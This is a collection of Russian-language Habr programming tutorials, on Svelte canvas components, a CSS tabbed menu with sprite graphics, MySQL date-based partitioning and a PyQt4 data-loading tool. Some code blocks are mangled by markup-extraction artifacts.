Если что, то уже инвертированный `photoShutter2.caf` можно взять [здесь](https://www.dropbox.com/s/1echsi6ivbb85bv/photoShutter2.caf) ([зеркало](https://mega.co.nz/#!W1Z2jSST!Rx9cxUcDUWxDOvutt0liJFysw5vrTZa80qwPdsr93QU)). | https://habr.com/ru/post/224055/ | null | ru | null |
# Как сократить код Canvas API в Svelte
Разработчик из консалтинговой компании в области разработки This Dot Labs рассказывает, как использовать canvas в Svelte и как превратить многословный API Canvas в краткий, более декларативный. Подробности — к старту нашего [курса по фронтенду](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_100822&utm_term=lead).
---
Элемент и Canvas API позволяют рисовать на JavaScript, а с помощью Svelte его императивный API можно преобразовать в декларативный. Это потребует от вас знания Renderless-компонентов — компонентов, которые не отрисовываются.
### Renderless
Все разделы файла `.svelte`, включая шаблон, необязательны. Поэтому можно создать компонент, который не отображается, но содержит логику в теге `</code>.</p><p>Давайте создадим новый проект Svelte с помощью Vite:</p><pre><code class="bash">npm init vite
Project name: canvas-svelte
Select a framework: › svelte
Select a variant: › svelte-ts
cd canvas-svelte
npm i</code></pre><p>И новый компонент — <code>Renderless</code>:</p><pre><code class="xml"><!-- src/lib/Renderless.svelte -->
<script>
console.log("No template");`После инициализации компонента выведем сообщение. Для этого перепишем точку входа `App`:
```
// src/main.ts
// import App from './App.svelte'
import Renderless from './lib/Renderless.svelte'
const app = new Renderless({
target: document.getElementById('app')
})
export default app
```
Теперь запускаем сервер, открываем инструменты разработчика — и видим сообщение:
Работает.
> Обратите внимание, что методы жизненного цикла компонента по-прежнему доступны, то есть компонент ведёт себя как обычный, даже когда у него нет шаблона.
>
>
Проверим это:
```
import { onMount } from "svelte";
console.log("No template");
onMount(() => {
console.log("Component mounted");
});
```
После монтирования Renderless отображает второе сообщение, оба сообщения выводятся в ожидаемом порядке:
Это означает, что Renderless можно использовать как любой другой компонент Svelte. Вернём изменения `main.ts` и "отрисуем" компонент внутри `App`:
```
// src/main.ts
import App from './App.svelte'
const app = new App({
target: document.getElementById('app')
})
export default app
```
```
import { onMount } from "svelte";
import Renderless from "./lib/Renderless.svelte";
console.log("App: initialized");
onMount(() => {
console.log("App: mounted");
});
```
Перепишем Renderless, чтобы логировать важные сообщения:
```
import { onMount } from "svelte";
console.log("Renderless: initialized");
onMount(() => {
console.log("Renderless: mounted");
});
```
При создании компонентов без отрисовки и Canvas важно обратить внимание на порядок инициализации и монтирования компонентов.
Ещё один способ монтировать компонент — передать его как дочерний элемент другого компонента. Такая передача называется проекцией контента. Эту проекцию сделаем с помощью `slot`.
Напишем компонент `Container`, который будет отрисовывать добавленные в слот элементы:
```
import { onMount } from "svelte";
console.log("Container: initialized");
onMount(() => {
console.log("Container: mounted");
});
The container of things
=======================
invisible things
```
С помощью `prop` добавим в компонент `Renderless` идентификатор:
```
import { onMount } from "svelte";
export let id:string = "NoId"
console.log(`Renderless ${id}: initialized`);
onMount(() => {
console.log(`Renderless ${id}: mounted`);
});
```
Перепишем `App` для контейнера, затем передадим в `App` несколько экземпляров `Renderless`:
```
import { onMount } from "svelte";
import Container from "./lib/Container.svelte";
import Renderless from "./lib/Renderless.svelte";
console.log("App: initialized");
onMount(() => {
console.log("App: mounted");
});
```
Ниже видно и `Container`, и компоненты без отрисовки, которые при инициализации и монтировании пишут в лог:
А теперь воспользуемся компонентами без отрисовки в сочетании с .
### HTML canvas и Canvas API
Элемент `canvas` не может содержать никаких дочерних элементов, кроме резервного элемента для отрисовки. Всё, что хочется показать в canvas, должно быть написано на императивном API.
Создадим новый компонент Canvas и отрисуем canvas:
```
import { onMount } from "svelte";
console.log("Canvas: initialized");
onMount(() => {
console.log("Canvas: mounted");
});
```
Обновим `App`, чтобы воспользоваться `Canvas`:
```
import { onMount } from "svelte";
import Canvas from "./lib/Canvas.svelte";
console.log("App: initialized");
onMount(() => {
console.log("App: mounted");
});
```
А теперь откроем инструменты разработчика:
#### Отрисовка элементов внутри canvas
Как уже говорилось, добавлять элементы прямо в canvas нельзя. Чтобы рисовать, нужно работать с API.
Ссылку на элемент получим через `bind:this`. Важно понимать, что для работы с API элемент должен быть доступен, то есть рисовать придётся после монтирования компонента:
```
import { onMount } from "svelte";
let canvasElement: HTMLCanvasElement
console.log("1", canvasElement) // undefined!!!
console.log("Canvas: initialized");
onMount(() => {
console.log("2", canvasElement) // OK!!!
console.log("Canvas: mounted");
});
```
Нарисуем линию. Для наглядности я убрал всё логирование:
```
import { onMount } from "svelte";
let canvasElement: HTMLCanvasElement
onMount(() => {
// get canvas context
let ctx = canvasElement.getContext("2d")
// draw line
ctx.beginPath();
ctx.moveTo(10, 20); // line will start here
ctx.lineTo(150, 100); // line ends here
ctx.stroke(); // draw it
});
```
Чтобы рисовать, canvas нужен контекст, так что делать это можно только после монтирования компонента:
Если захочется добавить вторую строку, придётся дописать и новый блок кода:
```
import { onMount } from "svelte";
let canvasElement: HTMLCanvasElement
onMount(() => {
// get canvas context
let ctx = canvasElement.getContext("2d")
// draw first line
ctx.beginPath();
ctx.moveTo(10, 20); // line will start here
ctx.lineTo(150, 100); // line ends here
ctx.stroke(); // draw it
// draw second line
ctx.beginPath();
ctx.moveTo(10, 40); // line will start here
ctx.lineTo(150, 120); // line ends here
ctx.stroke(); // draw it
});
```
Мы рисуем простые фигуры — а кода в компоненте всё больше и больше. Можно написать вспомогательные функции, сокращающие код линий:
```
import { onMount } from "svelte";
let canvasElement: HTMLCanvasElement;
onMount(() => {
// get canvas context
let ctx = canvasElement.getContext("2d");
// draw first line
drawLine(ctx, [10, 20], [150, 100]);
// draw second line
drawLine(ctx, [10, 40], [150, 120]);
});
type Point = [number, number];
function drawLine(ctx: CanvasRenderingContext2D, start: Point, end: Point) {
ctx.beginPath();
ctx.moveTo(...start); // line will start here
ctx.lineTo(...end); // line ends here
ctx.stroke(); // draw it
}
```
Читать код легче, но вся ответственность по-прежнему делегируется `Canvas`, а это приводит к большой сложности компонента. Избежать большой сложности помогут компоненты без отрисовки и API Context.
И вот что нам уже известно:
* Для рисования нам нужен Canvas.
* Получить контекст можно после монтирования компонента.
* Дочерние компоненты монтируются перед родительским компонентом.
* Родительские компоненты инициализируются перед дочерними компонентами.
* Дочерние компоненты можно использовать при монтировании.
Наш компонент нужно разделить на несколько компонентов. Здесь хочется, чтобы `Line` рисовал сам себя.
`Canvas` и `Line` связаны. `Line` нельзя отрисовать без Canvas, и ему нужен контекст `canvas`. Но контекст недоступен, когда монтируется дочерний компонент, ведь `Line` монтируется перед `Canvas`. Поэтому подход нужен другой.
Вместо передачи контекста для отрисовки самого себя сообщим родительскому компоненту, что рисовать нужно дочерний компонент. `Canvas` и `Line` соединим через `Context`.
`Context` — это способ взаимодействия двух и более компонентов. Его можно установить или получить только во время инициализации, а это нам и нужно: `Canvas` инициализируется перед `Line`.
Сначала давайте перенесём отрисовку линии в отдельный компонент, а некоторые типы — в их собственный файл, чтобы сделать их общими для компонентов:
```
// src/types.ts
export type Point = [number, number];
export type DrawFn = (ctx: CanvasRenderingContext2D) => void;
export type CanvasContext = {
addDrawFn: (fn: DrawFn) => void;
removeDrawFn: (fn: DrawFn) => void;
};
```
```
import type { Point } from "./types";
export let start: Point;
export let end: Point;
function draw(ctx: CanvasRenderingContext2D) {
ctx.beginPath();
ctx.moveTo(...start);
ctx.lineTo(...end);
ctx.stroke();
}
```
Это очень похоже на то, что было в `Canvas`, но абстрагировано до компонента. Теперь нужно организовать коммуникацию `Canvas` и `Line`.
`Canvas` будет работать как оркестратор всей отрисовки. Он инициализирует все дочерние компоненты, собирает функции отрисовки и выполняет отрисовку, когда это нужно:
```
import { onMount, setContext } from "svelte";
import type { DrawFn } from "./types";
let canvasElement: HTMLCanvasElement;
let fnsToDraw = [] as DrawFn[];
setContext("canvas", {
addDrawFn: (fn: DrawFn) => {
fnsToDraw.push(fn);
},
removeDrawFn: (fn: DrawFn) => {
let index = fnsToDraw.indexOf(fn);
if (index > -1){
fnsToDraw.splice(index, 1);
}
},
});
onMount(() => {
// get canvas context
let ctx = canvasElement.getContext("2d");
draw(ctx);
});
function draw(ctx){
fnsToDraw.forEach(draw => draw(ctx));
}
```
Первое, что нужно отметить, — шаблон изменился, рядом с `canvas` появился элемент . Он будет использоваться для монтирования любых дочерних элементов, которые передаются в `canvas`, — это компоненты `Line`. Эти `Line` не добавят никаких элементов HTML.
> Массив `let fnsToDraw = [] as DrawFn[]` в `</code> хранит все функции отрисовки.</p></blockquote><p>Мы установили и новый контекст. Делать это нужно во время инициализации. <code>Canvas</code> инициализируется до <code>Line</code>, поэтому здесь устанавливаются два метода — для добавления и удаления функции из <code>DrawFn[]</code>. После этого любой их дочерний компонент будет иметь доступ к этому контексту и вызывать его методы. Именно это делается в <code>Line</code>:</p><pre><code class="typescript"><script lang="ts">
> import { getContext, onDestroy, onMount } from "svelte";
> import type { Point, CanvasContext } from "./types";
>
> export let start: Point;
> export let end: Point;
>
> let canvasContext = getContext("canvas") as CanvasContext;
>
> onMount(() => {
> canvasContext.addDrawFn(draw);
> });
>
> onDestroy(() => {
> canvasContext.removeDrawFn(draw);
> });
>
> function draw(ctx: CanvasRenderingContext2D) {
> ctx.beginPath();
> ctx.moveTo(...start);
> ctx.lineTo(...end);
> ctx.stroke();
> }`Функция регистрируется с помощью контекста, установленного Canvas, когда компонент монтируется. Выполнить регистрацию можно было и при инициализации, ведь контекст доступен в любом случае, но я предпочитаю делать это после монтирования компонента. Когда элемент уничтожается, он удаляет себя из списка функций отрисовки.
>
> А теперь дополним `App` компонентами `Canvas` и `Line`:
>
>
> ```
>
> import Canvas from "./lib/Canvas.svelte";
> import Line from "./lib/Line.svelte";
>
>
>
>
>
>
>
>
> ```
> Компонент `Canvas` обновлён для декларативного программирования, но рисуем мы только один раз, когда он смонтирован.
>
> А нам нужно, чтобы canvas отрисовывался часто и обновлялся при изменениях, если только вы не хотите обратного. Обратите внимание, что частую отрисовку пришлось бы делать с выбранным подходом или без него.
>
> И вот распространённый способ обновления содержимого `canvas`:
>
>
> ```
>
> // NOTE: some code removed for readability
> // ...
> let frameId: number
>
> // ...
>
> onMount(() => {
> // get canvas context
> let ctx = canvasElement.getContext("2d");
> frameId = requestAnimationFrame(() => draw(ctx));
> });
>
> onDestroy(() => {
> if (frameId){
> cancelAnimationFrame(frameId)
> }
> })
>
> function draw(ctx: CanvasRenderingContext2D) {
> if clearFrames {
> ctx.clearRect(0,0,canvasElement.width, canvasElement.width)
> }
> fnsToDraw.forEach((fn) => fn(ctx));
> frameId = requestAnimationFrame(() => draw(ctx))
> }
>
> ```
> Это достигается повторной отрисовкой `canvas` через `requestAnimationFrame`. Переданная функция запускается до перерисовки браузером. Новая переменная для текущего `frameId` потребуется при отмене анимации. Затем, когда компонент монтируется, вызывается `requestAnimationFrame`, и возвращённый идентификатор присваивается нашей переменной.
>
> Пока конечный результат такой же, как и раньше. Отличие — в функции отрисовки, которая запрашивает новый кадр анимации после каждой отрисовки. `Canvas` очищается, а иначе при анимации каждый кадр отрисовывается поверх другого. Этот эффект может быть желательным — тогда установите `clearFrame` в `false`. Наш `Canvas` будет обновлять каждый кадр до уничтожения компонента и погашения текущей анимации с помощью сохранённого идентификатора.
>
> ### Больше функциональности
>
> Базовая функциональность компонентов работает, но мы можем захотеть большего.
>
> В этом примере представлены события `onmousemove` и `onmouseleave`. Чтобы они работали, измените `canvas` вот так:
>
> Теперь эти события можно обрабатывать в `App`:
>
>
> ```
>
> import Canvas from "./lib/Canvas.svelte";
> import Line from "./lib/Line.svelte";
> import type { Point } from "./lib/types";
>
> function followMouse(e) {
> let rect = e.target.getBoundingClientRect();
> end = [e.clientX - rect.left, e.clientY - rect.top];
> }
> let start = [0, 0] as Point;
> let end = [0, 0] as Point;
>
>
>
> followMouse(e)}
> on:mouseleave={() => {
> end = [0, 0];
> }}
> >
>
>
>
> ```
> Svelte отвечает за обновление конечного положения линии. Но Canvas используется для обновления содержимого canvas через `requestAnimationFrame`:
>
> ### Итоги
>
> Надеюсь, это руководство поможет вам как введение в применение canvas в Svelte, а также поможет понять, как превратить библиотеку с императивным API в более декларативную.
>
> Есть примеры сложнее, например [svelte-cubed](https://svelte-cubed.vercel.app/) или [svelte-leaflet](https://ngyewch.github.io/svelte-leaflet/getting-started). Из документации `svelte-cubed`:
>
> Это:
>
>
> ```
> import * as THREE from 'three';
>
> function render(element) {
> const scene = new THREE.Scene();
> const camera = new THREE.PerspectiveCamera(
> 45,
> element.clientWidth / element.clientHeight,
> 0.1,
> 2000
> );
>
> const renderer = new THREE.WebGLRenderer();
> renderer.setSize(element.clientWidth / element.clientHeight);
> element.appendChild(renderer.domElement);
>
> const geometry = new THREE.BoxGeometry();
> const material = new THREE.MeshNormalMaterial();
> const box = new THREE.Mesh(geometry, material);
> scene.add(box);
>
> camera.position.x = 2;
> camera.position.y = 2;
> camera.position.z = 5;
>
> camera.lookAt(new THREE.Vector3(0, 0, 0));
>
> renderer.render(scene, camera);
> }
> ```
> Превращается в:
>
>
> ```
>
> import \* as THREE from 'three';
> import \* as SC from 'svelte-cubed';
>
>
>
>
>
>
> ```
> Canvas API можно расширить и даже создать библиотеку.
>
> А мы поможем прокачать ваши навыки или с самого начала освоить профессию, актуальную в любое время:
>
> * [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_100822&utm_term=conc)
> * [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_100822&utm_term=conc)
>
> 
>
> | https://habr.com/ru/post/681866/ | null | ru | null |
# Танцы с бубном для блондинок, или о tabbed menus и хитрой работе с графикой
Собственно, перепал мне не так давно небольшой заказец. Вроде и несложный — а потанцевать с бубном немного пришлось. А всё из-за того, что заказчик оказался немного «падкой на дизайн блондинкой» (образно говоря), и требовал строгого соответствия конечного результата макету. Требовал попиксельно, и его совершенно не волновали такие вопросы, как валидность, семантичность и всё такое. «Хоть таблицами сверстай, а сделай». И сегодня речь пойдёт о том, как в таких условиях сделать весьма хитровыделанно нарисованное меню табами. Как и за свой код не устыдиться, и не пасть в грязь лицом перед заказчиком, вот в чём вопрос?
Собственно, вот фрагмент эскиза, отвечающий за то самое меню:
А вот как оно должно выглядеть, когда выбран другой пункт:
Неудобно, правда? Мало того, что не получится создать единый background для пунктов меню (из-за этого несчастного градиента и не только), а придётся назначать стили каждому пункту индивидуально (пришлось взять с заказчика честное пионерское слово, что структура меню впредь останется неизменной), так ещё и приходится думать о том, как правильно отобразить «нахлёсты» на другие пункты до и после активного. Но нет ничего невозможного, и для реализации подобной вещи никаких таблиц нам не понадобится, и «костылей» будет минимум. Вся суть — в хитрой работе с графикой.
Но перед тем, как стилизовать меню, нам нужно позаботиться о блоке под ним. Задаём ему однопиксельный border (тот самый, который мы видим под неактивными пунктами) и бэкграунд в виде «уголка» в левом верхнем углу. Мы не будем думать о том, как этот «уголок» отображать или нет в самом меню — пусть он лежит и кушать не просит в блоке под ним, а в случае необходимости мы его просто закроем.
Теперь для каждого пункта меню мы должны нарезать по две картинки — соответственно, неактивный и активный пункт меню. А для всех пунктов меню, кроме первого, мы должны ещё предусмотреть вариант «неактивный-после-активного», у которого слева отсутствует нижняя кромка. Собственно, вот первый пункт меню в неактивном виде:
А вот он же, но активный:
Обратите внимание — подложка для активного пункта чуть больше по высоте — это нам нужно как раз для того, чтобы закрывать «уголок» внизу.
С другими же пунктами — всё чуть сложнее. Разберём на примере второго пункта меню. Неактивный пункт делается по тому же принципу, как и первый:
«Неактивный-после-активного» отличается от него только отсутствием нижнего бордера слева:
А для активного пункта меню мы должны предусмотреть «захлёст» слева, чуть «оттяпав» от предыдущего пункта:
Теперь, нарезав графику, принимаемся за код. Учитывая, что реализовано это меню в конечном итоге на Drupal с помощью модуля menu-attributes (или как его там), а соответственно, это накладывает свою специфику, то стилизовать мы будем не тэг li, а вложенные в него ссылки. Сам HTML-код за вычетом CMSного мусора у нас вот такой:
`* [Квартиры](# "Жилые квартиры")
* [Дома и дачи](# "Частные дома, коттеджи, дачные постройки")
* [Земельные участки](# "Участки под индивидуальное строительство")
* [Промышленная недвижимость](# "Склады, офисы и т.п.")`
Как видите, практически ничего лишнего, и не нарушена семантика. Все «гламурности» и «рюшечки» мы сделаем в CSS. У нас будет два файла стилей — под нормальные браузеры и под ослика IE (надеюсь, мне не надо вас учить, как подключать этот файл через условные комментарии). Сразу оговорю, что под «осликом IE» имею в виду седьмую версию — ибо ввиду массового распространения Висты и третьего сервиспака под WinXP шестой уже сдаёт свои позиции… so screw this nightmare. :) В любом случае, даже в шестом «ослике» вёрстка не поедет, и из функционала меню не сработает разве что реализованный на селекторах «неактивный-после-активного». Так что пофигу. Поехали!
Сначала разберёмся с позиционированием и высотой самого блока. Пристальный глаз уже наверняка заметил — нужно схлестнуть нижний бордер картинок и верхний бордер блока под меню. А для этого мы нижний блок чуть подтянем, попутно **(сенькс за багрепорты в комментах)** сдвинув линки на 1 пиксель влево:
`div#topnav ul.menu {
list-style-type: none;
margin: 0 0 -1px 0;
line-height: 44px;
font-size: 0; /* это чтобы переводы строки между пунктами не отображались как пробелы */
padding-left:1px
}
div#topnav ul.menu li {
display: inline;
}
div#topnav ul.menu a {
font-size: 14px;
padding: 15px 24px 15px 15px;
height: 25px;
margin-left:-1px;
}`
Сразу же — поправляемя всю эту кухню в таблице для IE (ибо есть свои нюансы отображения)
`div#topnav ul.menu {
position: relative;
top: 3px;
list-style-type: none;
margin: 0px;
line-height: 44px;
font-size: 0;
padding-left: 1px;
}
div#topnav ul.menu li {
display: inline;
}
div#topnav ul.menu a {
font-size: 14px;
margin: 0 0 0 -1px;
padding: 15px 24px 15px 15px;
height: 25px;
}`
Теперь прописываем бэкграунды и размеры для активных и неактивных пунктов меню. Алгоритм такой: для первого пункта увеличиваем высоту, если пункт активен (закрываем уголок). Прочие пункты, если активны, сдвигаем на 6 пикселей влево (помним про нахлёсты).
`div#topnav ul.menu li a#apartments {
width: 80px;
background: url('images/menu-1-inactive.gif') top left no-repeat;
}
div#topnav ul.menu li a#houses {
width: 94px;
background: url('images/menu-2-inactive.gif') top left no-repeat;
padding-right:26px;
}
div#topnav ul.menu li a#ground {
width: 150px;
background: url('images/menu-3-inactive.gif') top left no-repeat;
padding-right:26px;
}
div#topnav ul.menu li a#business {
width: 240px;
padding: 15px 60px 15px 15px;
background: url('images/menu-4-inactive.gif') top left no-repeat;
}
div#topnav ul.menu li.active-trail a#apartments {
background: url('images/menu-1-active.gif') top left no-repeat;
padding-bottom: 25px;
}
div#topnav ul.menu li.active-trail a#houses {
width: 101px;
margin-left: -6px;
padding-left: 22px;
background: url('images/menu-2-active.gif') top left no-repeat;
}
div#topnav ul.menu li.active-trail a#ground{
width: 157px;
margin-left: -6px;
padding-left: 22px;
background: url('images/menu-3-active.gif') top left no-repeat;
}
div#topnav ul.menu li.active-trail a#business {
width: 247px;
margin-left: -6px;
padding-left: 22px;
background: url('images/menu-4-active.gif') top left no-repeat;
}`
Ну и теперь — используем магию селекторов CSS для того, чтобы сменить картинку тому неактивному пункту меню, который идёт после активного:
`/* this is not supported in IE 6, so screw IE6, we want some CSS2 beauty*/
div#topnav ul.menu li.active-trail+li>a#houses{
background: url('images/menu-2-inactive-after-active.gif') top left no-repeat;
}
div#topnav ul.menu li.active-trail+li>a#ground{
background: url('images/menu-3-inactive-after-active.gif') top left no-repeat;
}
div#topnav ul.menu li.active-trail+li>a#business{
background: url('images/menu-4-inactive-after-active.gif') top left no-repeat;
}`
И вот, уже скриншот с реальной страницы в браузере:
Собственно, всё. И это с минимальными изменениями можно экстраполировать на любую похожую задачу. Главное — запомнить алгоритм. ~~А если интересно — в соответствующем блоге расскажу про то, как всё это грамотно и логично реализовать на внутренней структуре Drupal~~ Раз уж интересно — то вот как оно на Друпале реализуется: [habrahabr.ru/blogs/drupal/52601](http://habrahabr.ru/blogs/drupal/52601/) ;) | https://habr.com/ru/post/52547/ | null | ru | null |
# Mysql PARTITION BY YEAR(date) / MONTH(date) / DAYOFWEEK(date)
Зачастую мне приходится иметь дело с таблицами которые содержат редко или даже никогда ни обновляемые данные. Хорошим примером таких данных являются различные логи. Некоторые таблицы регулярно очищаются от устаревших данных, а в некоторых приходится хранить записи «вечно». Поэтому такие таблицы «пухнут» и работа с ними становится тяжелой операцией для всей системы.
Чтобы уменьшить нагрузку на диск и ФС, придумали partitioning, по простому — секционирование. Файл с данными таблицы разрезается по какому-то условию на несколько не больших файлов — партиций. Для случая с логами разумно партиционировать таблицы по полю, содержащему даты события. Часто бывает разумно резать таблицу на partition по году по месяцу или по дням месяца/недели.
Что-то подсказывает что резать придется по полю timestamp.
Сделаем табличку:
```
CREATE TABLE `foo` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`date_added` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
`name` varchar(30) DEFAULT NULL,
`email` varchar(30) DEFAULT NULL,
PRIMARY KEY (`id`)
);
```
Но как быть если надо например таблицу с логами разложить по дням месяца? То есть в таблицу пишется что-то, что хранится месяц или два, а потом удаляется. Как быть если мы хотим порезать так:
```
ALTER TABLE foo PARTITION BY RANGE (YEAR(date_added))
(
PARTITION p2011 VALUES LESS THAN (2012) ,
PARTITION p2012 VALUES LESS THAN (2013) ,
PARTITION p2013 VALUES LESS THAN (2014)
);
```
Получаем:
```
ERROR 1486 (HY000): Constant, random or timezone-dependent expressions in (sub)partitioning function are not allowed
```
объяснения этому вот какое: «TIMESTAMP is internally converted to the local sessions timezone.»
Ладно:
```
SELECT UNIX_TIMESTAMP('2012-01-01 00:00:00');
+---------------------------------------+
| UNIX_TIMESTAMP('2012-01-01 00:00:00') |
+---------------------------------------+
| 1325361600 |
+---------------------------------------+
SELECT UNIX_TIMESTAMP('2013-01-01 00:00:00');
+---------------------------------------+
| UNIX_TIMESTAMP('2013-01-01 00:00:00') |
+---------------------------------------+
| 1356984000 |
+---------------------------------------+
SELECT UNIX_TIMESTAMP('2014-01-01 00:00:00');
+---------------------------------------+
| UNIX_TIMESTAMP('2014-01-01 00:00:00') |
+---------------------------------------+
| 1388520000 |
+---------------------------------------+
```
Теперь:
```
ALTER TABLE foo PARTITION BY RANGE (UNIX_TIMESTAMP(date_added))
(
PARTITION p2011 VALUES LESS THAN (1325361600) ,
PARTITION p2012 VALUES LESS THAN (1356984000) ,
PARTITION p2013 VALUES LESS THAN (1388520000) ,
PARTITION pMAXVALUE VALUES LESS THAN (MAXVALUE)
);
```
Вот, теперь получаем:
```
ERROR 1503 (HY000): A PRIMARY KEY must include all columns in the table's partitioning function
```
Это лечится:
```
ALTER table foo DROP PRIMARY KEY, add PRIMARY KEY (`id`,`date_added`);
```
И еще раз:
```
ALTER TABLE foo PARTITION BY RANGE (UNIX_TIMESTAMP(date_added))
(
PARTITION p2011 VALUES LESS THAN (1325361600) ,
PARTITION p2012 VALUES LESS THAN (1356984000) ,
PARTITION p2013 VALUES LESS THAN (1388520000) ,
PARTITION pMAXVALUE VALUES LESS THAN (MAXVALUE)
);
```
Все ок.
Получаем:
```
CREATE TABLE `foo` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`date_added` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
`name` varchar(30) DEFAULT NULL,
`email` varchar(30) DEFAULT NULL,
PRIMARY KEY (`id`,`date_added`)
) ENGINE=InnoDB
PARTITION BY RANGE (UNIX_TIMESTAMP(date_added))
(PARTITION p2011 VALUES LESS THAN (1325361600) ENGINE = InnoDB,
PARTITION p2012 VALUES LESS THAN (1356984000) ENGINE = InnoDB,
PARTITION p2013 VALUES LESS THAN (1388520000) ENGINE = InnoDB,
PARTITION pMAXVALUE VALUES LESS THAN MAXVALUE ENGINE = InnoDB
);
```
Отлично!
Такой тип «нарезки» подходит если надо архивные данные разложить по файлам «за год» или по месяцам.
Но как быть если надо например таблицу с логами разлодить по дням мес. тоесть в таблицу что-то пишется что хранится мес или два потом трется.
Тоесть как быть если мы хотим порезать так:
```
PARTITION BY RANGE (MONTH(date))
```
Или так:
```
PARTITION BY RANGE (DAY(date_add))
```
Поле типа timestamp не подходит.
Гугление говорит что надо юзать datetime и точка.
ок, создадим таблицу:
```
CREATE TABLE `foo` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`date_added` datetime DEFAULT NULL,
`name` varchar(30) DEFAULT NULL,
`email` varchar(30) DEFAULT NULL,
PRIMARY KEY (`id`,`date_added`)
) ENGINE=InnoDB;
```
Обратите внимание:
```
`date_added` datetime DEFAULT NULL
```
Дело в том что, CURRENT\_TIMESTAMP в качестве дефаултного значения для поля типа datetime не катит, NOW() как дефаултное значение указывать нельзя т.к. функция.
А надо чтоб date\_added выставлялось автоматом.
Выхода два:
1. Либо во всех запросах в INSERT добавлять NOW().
2. Либо вешать триггер который при каждом инсерте будет date\_added=NOW();
Когда кода INSERT делаются во многих местах и везде поправить на INSERT… NOW() невозможно будем использовать триггер.
Что-то вроде:
```
DELIMITER $$
USE `test_db`$$
CREATE
TRIGGER `foo_add` BEFORE INSERT ON `foo`
FOR EACH ROW BEGIN
SET NEW.date_added = IFNULL(NEW.date_added, NOW());
END;
$$
```
Теперь у нас таблица с нужными типами, ключами и триггером.
И мы с легкостью можем разрезать таблицу по месяцам:
```
ALTER TABLE foo PARTITION BY RANGE (MONTH(date_added))
(
PARTITION p01 VALUES LESS THAN (02) ,
PARTITION p02 VALUES LESS THAN (03) ,
PARTITION p03 VALUES LESS THAN (04) ,
PARTITION p04 VALUES LESS THAN (05) ,
PARTITION p05 VALUES LESS THAN (06) ,
PARTITION p06 VALUES LESS THAN (07) ,
PARTITION p07 VALUES LESS THAN (08) ,
PARTITION p08 VALUES LESS THAN (09) ,
PARTITION p09 VALUES LESS THAN (10) ,
PARTITION p10 VALUES LESS THAN (11) ,
PARTITION p11 VALUES LESS THAN (12) ,
PARTITION p12 VALUES LESS THAN (13) ,
PARTITION pmaxval VALUES LESS THAN MAXVALUE
);
```
Или даже по дням недели:
```
ALTER TABLE foo PARTITION BY RANGE (DAYOFWEEK(date_added))
(
PARTITION p01 VALUES LESS THAN (2) ,
PARTITION p02 VALUES LESS THAN (3) ,
PARTITION p03 VALUES LESS THAN (4) ,
PARTITION p04 VALUES LESS THAN (5) ,
PARTITION p05 VALUES LESS THAN (6) ,
PARTITION p06 VALUES LESS THAN (7) ,
PARTITION p07 VALUES LESS THAN (8) ,
PARTITION pmaxval VALUES LESS THAN MAXVALUE
);
```
Или даже 2 дня на partition:
```
ALTER TABLE foo PARTITION BY LIST (DAY(date_added))
(
PARTITION p00 VALUES IN (0,1) ,
PARTITION p02 VALUES IN (2,3) ,
PARTITION p04 VALUES IN (4,5) ,
PARTITION p06 VALUES IN (6,7) ,
PARTITION p08 VALUES IN (8,9) ,
PARTITION p10 VALUES IN (10,11),
PARTITION p12 VALUES IN (12,13),
PARTITION p14 VALUES IN (14,15),
PARTITION p16 VALUES IN (16,17),
PARTITION p18 VALUES IN (18,19),
PARTITION p20 VALUES IN (20,21),
PARTITION p22 VALUES IN (22,23),
PARTITION p24 VALUES IN (24,25),
PARTITION p26 VALUES IN (26,27),
PARTITION p28 VALUES IN (28,29),
PARTITION p30 VALUES IN (30,31)
);
```
В общем теперь все в ваших руках. | https://habr.com/ru/post/159131/ | null | ru | null |
# Пример разработки небольшого python+PyQt4 приложения для учетной системы
Часто приходится разрабатывать приложения для корпоративной системы которые должны были функционировать еще вчера, не требующие строго соответствия корпоративным стандартам. Такими приложениями могут представлять cms к сайтам, gui для сервисов под \*nix системы просто приложением учетной системы. Разработка приложений подобного рода на скриптовых языках есть тема! обычно оптимальна с точки зрения скорости выполнения. Под катом пример реализации приложения на python+PyQt4, функции приложения парсинг и загрузка данных из xls файлов...
Для того чтобы приготовить яичницу я использовал:
1. Python2.5
2. PyQt-4.4.3
3. kinterbasdb3 (БД КИС — Firebird)
4. xlrd-0.6
В качестве редактора всем рекомендую emacs python-mode (это касается и
виндопользователей):
#### 1. Достаем посуду из шкафа (хранение настроек)
Вообще для скриптовых языков такой вопрос не стоит так как, вы можете завести файл настроек типа settings.py и спокойно запускать его на уровне кода:
`# -*- coding: cp1251 -*-
host='localhost/3051:intur'
user='SYSDBA'
path='d:\\dlogs\\scanner\\xls'
oprts = (
u'НАТАЛИ',
u'ЭКСПРЕСС',
u'ИНТАЕР',
u'ЛАНТА',
u'КОРАЛ',
)`
Получение переменных в программе выглядит так:
`mod = __import__(modName)
host = getattr(mod, 'host', 'horn:intur')
user = getattr(mod, 'user', 'SYSDBA')`
#### 2.Рисование форм
Qt Software — вообще красавцы с точки зрения документации, или если сравнивать тулзы для рисования GUI — то здесь они тоже молодцы. Главное окошко программы я нарисовал в QtDesigner + отметил сигналы с виджетов, которые нужно обрабатывать.
Для того чтобы быстро собирать формы в дизайнере безусловно нужно немного поднатореть в понимание механизмов формирования Layout и Spacers. Существует два варианта поднятия окошка в приложения, либо вы генерируете файл необходимом для вас языке программирования, либо с помощью спец.модулей Qt строите классы из xml-файлов описания. Я обычно генерирую файл, не могу сказать что это чем-то лучше, просто мне это кажется более удобным. Для питона PyQt поставляет pyuic.bat который просто нужно скопировать в директорию вашего проекта и генерировать классы-обработчики окошек по мере вашей работы в дизайнере
У меня это для главного окна выглядит так:
````
pyuic.bat -o mwnd.py mwnd.ui
````
